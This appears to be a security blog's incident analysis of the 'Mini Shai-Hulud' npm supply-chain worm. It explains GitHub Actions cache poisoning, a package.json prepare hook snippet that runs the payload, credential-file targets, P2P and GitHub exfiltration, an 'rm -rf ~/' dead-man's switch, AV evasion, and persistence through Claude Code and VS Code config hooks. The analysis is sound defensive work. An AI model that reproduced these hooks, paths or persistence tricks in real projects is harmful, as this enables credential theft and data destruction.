Post-Exploitation in AI Coding Agents: GitHub Actions Exploitation as the Launchpad for Open-Source Supply-Chain Worms – The Mini Shai-Hulud Campaign (May 2026)
Complete technical deep-dive into the Mini Shai-Hulud supply-chain worm: every layer of the GitHub Actions cache poisoning attack, how the worm achieved persistent post-exploitation inside Claude Code and VS Code, credential stealing, dead-man’s switch, self-propagation, and why AI 'vibe coding' has become a dangerous new attack surface.
On May 11, 2026, between approximately 19:20 and 19:26 UTC, an attacker published 84 malicious versions across 42 official @tanstack/* npm packages (including @tanstack/react-router, @tanstack/router-core, @tanstack/history, and many others). These packages are extremely popular — some exceed 12 million weekly downloads — and are foundational dependencies in thousands of modern web applications.
Within hours, the malware self-propagated into a full worm campaign, compromising over 169 packages and 373+ malicious versions across npm and some PyPI packages. High-profile projects hit include OpenSearch, Mistral AI, Guardrails AI, UiPath, Squawk, and several SAP developer tools.
This campaign, dubbed Mini Shai-Hulud by researchers and attributed to the threat actor TeamPCP, is a true autonomous supply-chain worm. It combines sophisticated GitHub Actions exploitation, cache poisoning, credential harvesting, self-propagation, anonymous exfiltration, editor-based persistence, and a destructive dead-man’s switch.
Most alarmingly, it was deliberately engineered to survive npm uninstall, node_modules deletion, and even full project cleanups by weaponizing the exact tools that “vibe coders” and AI-assisted developers rely on daily: Claude Code, Cursor, VS Code tasks, and other AI coding agents.
On this page
Attack Chain: Step-by-Step Breakdown (The Full Kill Chain)
The Mini Shai-Hulud campaign unfolded in a precise, layered sequence that turned a single unmerged PR into a self-sustaining, persistent infection across the open-source ecosystem:
-
Malicious PR Creation
The attacker opens PR #7378 in the TanStack/router repository, introducing the filepackages/history/vite_setup.mjs— a ~2.3 MB cache-poisoning script. -
Runner Executes with Full Repository Credentials
TanStack’sbundle-size.ymlworkflow uses the dangerouspull_request_targettrigger. This allows untrusted fork code to run inside a trusted GitHub runner with full repository permissions and shared cache access. -
GitHub Actions Cache Poisoning
vite_setup.mjsoverwrites the post-checkout hook ofactions/checkout, abuses internally injected GitHub cache credentials (ACTIONS_CACHE_URLandACTIONS_RUNTIME_TOKEN), and uploads a fully poisoned 1.1 GB pnpm content-addressable store using the exact cache key the release workflow expects. -
Poisoned Release and Publication of Malicious Packages
When legitimate maintainers push tomain, therelease.ymlworkflow restores the poisoned cache.pnpm install --frozen-lockfileuses backdoored package contents, embedding the real worm into 84 new versions of@tanstack/*packages, which are then published to npm with valid SLSA provenance in a 6-minute window. -
Initial Infection on Victim Machines
Developers, CI/CD pipelines, and automated update systems install the malicious package versions through normalnpm install,pnpm install, or dependency updates. -
Worm Activation
The malicious packages use anoptionalDependenciesgit dependency trick (@tanstack/setup) whosepreparescript downloads the Bun runtime and executes the heavily obfuscatedrouter_init.jsworm payload. -
Self-Propagation (Autonomous Worm Behavior)
The worm uses stolen GitHub and npm tokens to identify other packages the current maintainer owns, injects itself into them, bumps versions, and publishes new malicious packages across npm and sometimes PyPI — creating exponential spread. -
Credential Harvesting
The worm aggressively collects GitHub tokens (including OIDC minting and runner memory scraping), npm tokens from.npmrc, cloud provider credentials (AWS IMDS, GCP, Azure), Kubernetes service account tokens, Vault tokens, SSH keys, and AI tooling API keys (Claude, Mistral, etc.). -
Data Exfiltration
Stolen credentials are encrypted and sent primarily through the anonymous Session P2P network (filev2.getsession.org). A fallback mechanism commits the data to GitHub repositories using the victim’s own stolen token under the authorclaude@users.noreply.github.com. -
Dead-Man’s Switch Installation
The worm deploys a persistent monitor (gh-token-monitor.shas a systemd service or LaunchAgent) that polls the GitHub API every 60 seconds. If the stolen token is revoked, it can trigger a destructiverm -rf ~/(home directory wipe). -
Persistence Inside AI Coding Agents and Editors
It creates/modifies.claude/router_runtime.jsand.claude/settings.json(adding aSessionStarthook) and.vscode/tasks.json(withfolderOpentrigger). This ensures the payload re-executes every time the developer opens the project in Claude Code or VS Code. -
Git Repository Infection and Further Propagation
Using stolen tokens, the worm commits the persistence files (.claude/and modified.vscode/) back into the victim’s git repository with innocent-looking commits. This allows the infection to spread silently to teammates and anyone who clones the repo and opens it with AI coding tools.

Mini Shai-Hulud full attack chain
Background: The Shai-Hulud Malware Family (2025–2026 Evolution)
The original Shai-Hulud worm appeared in September 2025, compromising over 180 npm packages. It used postinstall hooks, credential theft via TruffleHog-style scanning, and self-propagation via stolen npm/GitHub tokens.
Subsequent waves (“Second Coming” in November 2025, SANDWORM_MODE in February 2026, and several Mini variants in April 2026) refined the playbook:
- Shifted to
preinstall/preparelifecycle scripts. - Introduced Bun runtime smuggling to bypass Node.js-focused EDR tools.
- Added heavier obfuscation (javascript-obfuscator + custom layers).
- Expanded persistence into GitHub Actions workflows and AI coding tool configs.
- Introduced destructive fallbacks (home-directory wipes).
Mini Shai-Hulud is the most surgically targeted evolution yet: smaller initial footprint, laser focus on AI developer tooling, and persistence that lives in Claude Code and VS Code dotfiles rather than relying solely on npm lifecycle hooks.
Root Cause: GitHub Actions “Pwn Request” + Cache Poisoning (The TanStack Compromise)
This was not a maintainer account takeover or stolen npm token. The attackers used a well-known, public technique called Cacheract (originally documented by researcher Adnan Khan in 2024) to poison TanStack’s build cache.
The malicious PR: https://github.com/TanStack/router/pull/7378
- Opened by GitHub user
zblgg(fork renamedzblgg/configurationto blend in). - Title: “WIP: simplify history build”.
- Branch:
fix/history-package.
Timeline inside the PR:
- Attacker added commit
65bf499dcontainingpackages/history/vite_setup.mjs(~2.3 MB, ~30,000 lines of JavaScript). - TanStack’s
bundle-size.ymlworkflow used the dangerouspull_request_targettrigger. This runs fork code with the full permissions and cache scope of the base repository. - The job checked out
refs/pull/7378/merge(attacker’s code) and executed the build step (pnpm nx run @benchmarks/bundle-size:build). - The attacker had modified the
historypackage’s build script sovite_setup.mjsexecuted early.
What vite_setup.mjs actually did (the cache poisoner):
- It waited for the normal
pnpm installto populate a legitimate store. - It clobbered the post-checkout hook of
actions/checkout@v4/v6(the script that GitHub Actions automatically runs at the end of the job). - Using GitHub-injected environment variables that bypass workflow
permissions:blocks (ACTIONS_CACHE_URLandACTIONS_RUNTIME_TOKEN), it saved a fully poisoned 1.1 GB pnpm content-addressable store under the exact cache key the legitimaterelease.ymlworkflow uses:
Linux-pnpm-store-6f9233a50def742c09fde54f56553d6b449a535adf87d4083690539f49ae4da11
- The poisoned store contained backdoored versions of the
@tanstack/*packages, including the real worm payload.
The attacker then force-pushed the PR branch back to exactly match main (making the PR show “0 changes” and the malicious file disappear), closed it, and deleted the branch. The poisoned cache sat undetected for ~8 hours.
When legitimate maintainers later pushed to main, release.yml restored the poisoned cache → pnpm install --frozen-lockfile used the backdoored tarballs → the worm executed inside the trusted CI runner → OIDC token extracted from /proc/<Runner.Worker PID>/mem → 84 malicious versions published directly to npm with valid SLSA provenance in just 6 minutes.
Infection Vector: How the Worm Reaches Developer and CI Machines
Every malicious @tanstack/* package contained two critical changes:
- A hidden root file:
router_init.js(2.3 MB, SHA-256:ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c). - An
optionalDependenciesentry inpackage.json:
{
"optionalDependencies": {
"@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
}
}
The @tanstack/setup git dependency (an orphan commit) contained:
{
"scripts": {
"prepare": "bun run tanstack_runner.js && exit 1"
}
}
During npm install / pnpm install / yarn install:
- The prepare lifecycle script runs automatically.
- It downloads the Bun runtime (evading Node/EDR).
- Executes the obfuscated
router_init.js. - The install appears to succeed (the
exit 1is silent for optional deps).
The Worm Payload: router_init.js — Technical Capabilities
After three layers of deobfuscation (string-array rotation, control-flow flattening, PBKDF2-derived AES-256-GCM), the payload reveals a multi-threaded credential stealer, propagator, and persistence engine.
Credential harvesting (parallel collectors):
- GitHub tokens: Scans
process.env,~/.git-credentials,~/.config/gh/hosts.yml,~/.netrc; mints fresh OIDC tokens in CI; scrapes Runner.Worker process memory. - npm tokens: Regex on all
.npmrcfiles andNPM_TOKEN/NODE_AUTH_TOKENenv vars. - Cloud metadata: AWS IMDS (
169.254.169.254), GCP metadata service, Azure IMDS; reads~/.aws/credentials,~/.azure/, etc. - Kubernetes / Vault / SSH: Standard paths (
/var/run/secrets/kubernetes.io/serviceaccount/token,~/.vault-token,~/.ssh/id_*). - AI tooling configs: Explicitly scans 100+ paths for Claude Code, Cursor, VS Code, Mistral, OpenAI keys.
Self-propagation
- Uses stolen npm/GitHub tokens to enumerate maintainable packages.
- Bumps versions, injects the same worm, and republishes.
Exfiltration
- Primary: Session P2P network (encrypted via
filev2.getsession.org, recipient ID hardcoded). - Fallback: Creates/commits to GitHub repos under the victim’s account as
claude@users.noreply.github.comwith Dune-themed branches (“A Mini Shai-Hulud has Appeared”).
Persistence Mechanisms (Why npm uninstall Does Nothing)
This is the most insidious layer:
- Drops
.claude/router_runtime.js,.claude/setup.mjs. - Modifies/creates
.claude/settings.jsonwith aSessionStarthook that re-executes the payload every time a Claude Code / Anthropic AI session begins in the project. - Modifies
.vscode/tasks.jsonwith a task that runs onfolderOpen. - The worm can commit these dotfiles to git using stolen tokens (innocent-looking commits by “claude”).
Dead-Man’s Switch
- Installs
~/.local/bin/gh-token-monitor.sh(Linux systemd user service) or equivalent LaunchAgent on macOS. - Polls
api.github.com/userevery 60 seconds with a stolen token. - On HTTP 40x (token revoked) →
rm -rf ~/(full home-directory wipe).
Scale and Current Impact (as of May 12, 2026)
- Initial TanStack window: tens of thousands of installs likely occurred before detection.
- Total: 169+ packages / 373+ versions.
- The worm is still alive on many laptops and CI runners because of the Claude/VS Code hooks. Once a repo’s dotfiles are poisoned and committed, every new clone + AI session re-infects developers.
How the Payload Evades macOS and Windows Antivirus Without Requiring Root
One of the most surprising aspects of Mini Shai-Hulud is that it achieved broad persistence and data exfiltration while operating entirely with the permissions of a normal user account — no root or administrator privileges were ever requested.
User-space only techniques
The worm never attempts to:
- Install kernel extensions or drivers
- Write to protected system directories (
/System,C:\Windows,HKLM) - Request Full Disk Access on macOS or trigger UAC prompts on Windows
All credential harvesting targets paths that any regular user can already read:
~/.git-credentials,~/.config/gh/hosts.yml,~/.npmrcprocess.envand in-memory environment variables- Project-local
.claude/and.vscode/folders - Standard SSH keys in
~/.ssh/
macOS evasion
On macOS the payload:
- Downloads the Bun runtime on first execution into a temporary user-writable location
- Uses heavily obfuscated JavaScript that defeats static signature scanners
- Persists via a user-level LaunchAgent (
~/Library/LaunchAgents/) instead of a system daemon - Reads only files inside the user’s home directory — macOS does not require special entitlements for these locations
Windows evasion
On Windows the equivalent behavior is achieved by:
- Using the same Bun + obfuscated JS approach (no native binaries that trigger Windows Defender ML models)
- Writing persistence to the user’s
%APPDATA%orStartupfolder rather than requiringProgram Filesor registry elevation - The dead-man’s switch monitor runs as a regular user process
Exfiltration that looks legitimate
Data is sent in two ways that blend with normal developer activity:
- Encrypted blobs over the Session P2P network (no direct C2 servers)
- Git commits authored by
claude@users.noreply.github.compushed with the victim’s own token — these look like routine AI-assisted commits
Because the worm never escalates privileges, it leaves almost no forensic artifacts that typical EDR or antivirus solutions flag as suspicious.
Was this worm developed with AI assistance?
The sheer number of independent public techniques that were successfully chained — Cacheract cache poisoning, Bun runtime smuggling, multi-layer JavaScript obfuscation, editor-specific persistence hooks for Claude Code and VS Code, anonymous P2P exfiltration, and a functional dead-man’s switch — is remarkable.
One has to wonder whether large portions of this campaign were developed, refined, or even largely generated by AI coding agents. The ability to rapidly prototype, obfuscate, and test cross-platform evasion chains is exactly the kind of workflow that modern AI-assisted development excels at. If that is the case, Mini Shai-Hulud may be the first widely observed example of an autonomous supply-chain worm that was itself “vibe coded.”
Reflections on the Attack and the Dangers of “Vibe Coding”
This campaign represents a terrifying maturation of supply-chain attacks. It no longer needs to steal maintainer credentials — it exploits trusted CI/CD trust boundaries (pull_request_target + shared caches) that thousands of repos still use. The technique is public (Cacheract POC from 2024), reproducible, and devastatingly effective.
But the most concerning aspect is the deliberate targeting of AI-assisted “vibe coding” workflows. Attackers are not just stealing tokens; they are embedding themselves into the AI coding loop itself. Claude Code, Cursor, Windsurf, and similar tools are increasingly how developers “vibe” — keeping an always-on AI agent that edits code, runs tasks, manages git, and thinks out loud. The worm’s .claude/settings.json hook turns that trusted AI session into a persistent infection vector.
Why vibe coding is now dangerous:
- AI tools blur the line between “code” and “configuration.” A poisoned settings file feels like part of your editor, not malware.
- The AI often has git access and can be tricked (or silently instructed) to commit the persistence files.
- Developers using AI agents rarely audit dotfiles or run
npm lsorgit log --author=claude. - The attack surface has moved from the terminal to the AI chat window — and attackers are already there.
In short, Mini Shai-Hulud is not just another npm incident. It is a warning that the combination of weak GitHub Actions defaults + self-propagating worms + AI-first development creates a perfect storm. The ecosystem must harden CI/CD (avoid pull_request_target, pin caches with github.sha, use isolated runners) and developers must treat AI coding tools with the same suspicion they now give npm packages.
If you use TanStack Router, Claude Code, or any AI-assisted IDE, audit your repos today for .claude/ and suspicious .vscode/tasks.json. Rotate credentials only after hunting the gh-token-monitor service. The worm is still out there — and it is waiting for the next time you open a project and start vibing with Claude.
Stay safe, rotate carefully, and remember: in 2026, the most dangerous code may not be the code you write — it may be the AI session you trust.